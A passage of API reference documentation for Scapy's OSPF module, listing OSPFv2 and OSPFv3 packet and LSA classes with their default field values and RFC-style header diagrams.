|                            LSACOUNT                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LSALIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPF_LSUpd                          


OSPF_LSUpd fields






	lsacount

	FieldLenField

	None



	lsalist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPF_Link(_pkt, /, *, id='192.168.0.0', data='255.255.255.0', type=3, toscount=0, metric=10, tos=0, reserved=0, tosmetric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L235-L248]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L247-L248]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              DATA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |    TOSCOUNT   |             METRIC            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TOS      |    RESERVED   |           TOSMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. OSPF_Link                          


OSPF_Link fields






	id

	IPField

	'192.168.0.0'



	data

	IPField

	'255.255.255.0'



	type

	ByteEnumField

	3



	toscount

	ByteField

	0



	metric

	ShortField

	10



	tos

	ByteField (Cond)

	0



	reserved

	ByteField (Cond)

	0



	tosmetric

	ShortField (Cond)

	0















	
class scapy.contrib.ospf.OSPF_Link_Scope_Opaque_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=9, id='192.0.2.1', adrouter='198.51.100.100', seq=2147483649, chksum=None, len=None, data=b'data')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L365-L384]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. OSPF_Link_Scope_Opaque_LSA                  


OSPF_Link_Scope_Opaque_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	9



	id

	IPField

	'192.0.2.1'



	adrouter

	IPField

	'198.51.100.100'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	data

	StrLenField

	b'data'











	
opaqueid()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L380-L381]

	




	
opaquetype()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L383-L384]

	








	
class scapy.contrib.ospf.OSPF_NSSA_External_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=7, id='192.168.0.0', adrouter='2.2.2.2', seq=2147483649, chksum=None, len=None, mask='255.255.255.0', ebit=<Flag 0 ()>, reserved=0, metric=20, fwdaddr='0.0.0.0', tag=0, tos=0, tosmetric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L360-L362]

	Bases: OSPF_External_LSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|E|   RESERVED  |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    FWDADDR                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      TAG                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      TOS      |           TOSMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. OSPF_NSSA_External_LSA                    


OSPF_NSSA_External_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	7



	id

	IPField

	'192.168.0.0'



	adrouter

	IPField

	'2.2.2.2'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	mask

	IPField

	'255.255.255.0'



	ebit

	FlagsField

	<Flag 0 ()>



	reserved

	BitField  (7 bits)

	0



	metric

	X3BytesField

	20



	fwdaddr

	IPField

	'0.0.0.0'



	tag

	XIntField

	0



	tos

	ByteField (Cond)

	0



	tosmetric

	X3BytesField (Cond)

	0















	
class scapy.contrib.ospf.OSPF_Network_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=2, id='192.168.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, mask='255.255.255.0', routerlist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L298-L310]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ROUTERLIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. OSPF_Network_LSA                       


OSPF_Network_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	2



	id

	IPField

	'192.168.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	mask

	IPField

	'255.255.255.0'



	routerlist

	FieldListField

	[]















	
class scapy.contrib.ospf.OSPF_Router_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=1, id='1.1.1.1', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, flags=<Flag 0 ()>, reserved=0, linkcount=None, linklist=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L280-L295]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |    RESERVED   |           LINKCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            LINKLIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. OSPF_Router_LSA                       


OSPF_Router_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	1



	id

	IPField

	'1.1.1.1'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	reserved

	ByteField

	0



	linkcount

	FieldLenField

	None



	linklist

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPF_SummaryASBR_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=4, id='2.2.2.2', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, mask='0.0.0.0', reserved=0, metric=20, tos=0, tosmetric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L331-L336]

	Bases: OSPF_SummaryIP_LSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      TOS      |           TOSMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. OSPF_SummaryASBR_LSA                     


OSPF_SummaryASBR_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	4



	id

	IPField

	'2.2.2.2'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	mask

	IPField

	'0.0.0.0'



	reserved

	ByteField

	0



	metric

	X3BytesField

	20



	tos

	ByteField (Cond)

	0



	tosmetric

	X3BytesField (Cond)

	0















	
class scapy.contrib.ospf.OSPF_SummaryIP_LSA(_pkt, /, *, age=1, options=<Flag 0 ()>, type=3, id='192.168.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, mask='255.255.255.0', reserved=0, metric=10, tos=0, tosmetric=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L313-L328]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |    OPTIONS    |      TYPE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              MASK                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |      TOS      |           TOSMETRIC           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. OSPF_SummaryIP_LSA                      


OSPF_SummaryIP_LSA fields






	age

	ShortField

	1



	options

	OSPFOptionsField

	<Flag 0 ()>



	type

	ByteField

	3



	id

	IPField

	'192.168.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	mask

	IPField

	'255.255.255.0'



	reserved

	ByteField

	0



	metric

	X3BytesField

	10



	tos

	ByteField (Cond)

	0



	tosmetric

	X3BytesField (Cond)

	0















	
class scapy.contrib.ospf.OSPFv3OptionsField(name='options', default=0, size=24, names=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L485-L491]

	Bases: FlagsField






	
class scapy.contrib.ospf.OSPFv3PrefixOptionsField(name='prefixoptions', default=0, size=8, names=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L602-L608]

	Bases: FlagsField






	
class scapy.contrib.ospf.OSPFv3_AS_External_LSA(_pkt, /, *, age=1, type=16389, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, flags=<Flag 0 ()>, metric=20, prefixlen=None, prefixoptions=<Flag 0 ()>, reflstype=0, prefix=('2001:db8:0:42::', 64), fwaddr='::', tag=0, reflsid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L644-L661]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   | PREFIXOPTIONS |   REFLSTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     PREFIX                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     FWADDR                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      TAG                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    REFLSID                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                   Fig. OSPFv3_AS_External_LSA                    


OSPFv3_AS_External_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	16389



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	flags

	FlagsField

	<Flag 0 ()>



	metric

	X3BytesField

	20



	prefixlen

	FieldLenField

	None



	prefixoptions

	OSPFv3PrefixOptionsField

	<Flag 0 ()>



	reflstype

	ShortEnumField

	0



	prefix

	IP6PrefixField

	('2001:db8:0:42::', 64)



	fwaddr

	IP6Field (Cond)

	'::'



	tag

	IntField (Cond)

	0



	reflsid

	IPField (Cond)

	0















	
class scapy.contrib.ospf.OSPFv3_DBDesc(_pkt, /, *, reserved=0, options=<Flag 0 ()>, mtu=1500, reserved2=0, dbdescr=<Flag 0 ()>, ddseq=1, lsaheaders=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L714-L724]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              MTU              |   RESERVED2   |    DBDESCR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             DDSEQ                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LSAHEADERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPFv3_DBDesc                        


OSPFv3_DBDesc fields






	reserved

	ByteField

	0



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	mtu

	ShortField

	1500



	reserved2

	ByteField

	0



	dbdescr

	FlagsField

	<Flag 0 ()>



	ddseq

	IntField

	1



	lsaheaders

	PacketListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Hdr(_pkt, /, *, version=3, type=1, len=None, src='1.1.1.1', area='0.0.0.0', chksum=None, instance=0, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L459-L482]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SRC                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              AREA                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |    INSTANCE   |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. OSPFv3_Hdr                          


OSPFv3_Hdr fields






	version

	ByteField

	3



	type

	ByteEnumField

	1



	len

	ShortField

	None



	src

	IPField

	'1.1.1.1'



	area

	IPField

	'0.0.0.0'



	chksum

	XShortField

	None



	instance

	ByteField

	0



	reserved

	ByteField

	0











	
payload_guess

	Possible sublayers:
OSPFv3_DBDesc, OSPFv3_Hello, OSPFv3_LSAck, OSPFv3_LSReq, OSPFv3_LSUpd






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L470-L482]

	








	
class scapy.contrib.ospf.OSPFv3_Hello(_pkt, /, *, intid=0, prio=1, options=<Flag 0 ()>, hellointerval=10, deadinterval=40, router='0.0.0.0', backup='0.0.0.0', neighbors=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L494-L504]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             INTID                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      PRIO     |                    OPTIONS                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         HELLOINTERVAL         |          DEADINTERVAL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ROUTER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             BACKUP                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NEIGHBORS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OSPFv3_Hello                         


OSPFv3_Hello fields






	intid

	IntField

	0



	prio

	ByteField

	1



	options

	OSPFv3OptionsField

	<Flag 0 ()>



	hellointerval

	ShortField

	10



	deadinterval

	ShortField

	40



	router

	IPField

	'0.0.0.0'



	backup

	IPField

	'0.0.0.0'



	neighbors

	FieldListField

	[]















	
class scapy.contrib.ospf.OSPFv3_Inter_Area_Prefix_LSA(_pkt, /, *, age=1, type=8195, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, reserved=0, metric=10, prefixlen=None, prefixoptions=<Flag 0 ()>, reserved2=0, prefix=('2001:db8:0:42::', 64))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L611-L625]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AGE              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ADROUTER                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              SEQ                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CHKSUM            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |                     METRIC                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   PREFIXLEN   | PREFIXOPTIONS |   RESERVED2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     PREFIX                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. OSPFv3_Inter_Area_Prefix_LSA                 


OSPFv3_Inter_Area_Prefix_LSA fields






	age

	ShortField

	1



	type

	ShortEnumField

	8195



	id

	IPField

	'0.0.0.0'



	adrouter

	IPField

	'1.1.1.1'



	seq

	XIntField

	2147483649



	chksum

	XShortField

	None



	len

	ShortField

	None



	reserved

	ByteField

	0



	metric

	X3BytesField

	10



	prefixlen

	FieldLenField

	None



	prefixoptions

	OSPFv3PrefixOptionsField

	<Flag 0 ()>



	reserved2

	ShortField

	0



	prefix

	IP6PrefixField

	('2001:db8:0:42::', 64)















	
class scapy.contrib.ospf.OSPFv3_Inter_Area_Router_LSA(_pkt, /, *, age=1, type=8196, id='0.0.0.0', adrouter='1.1.1.1', seq=2147483649, chksum=None, len=None, reserved=0, options=<Flag 0 ()>, reserved2=0, metric=1, router='2.2.2.2')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ospf.py#L628-L641]

	Bases: OSPF_BaseLSA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
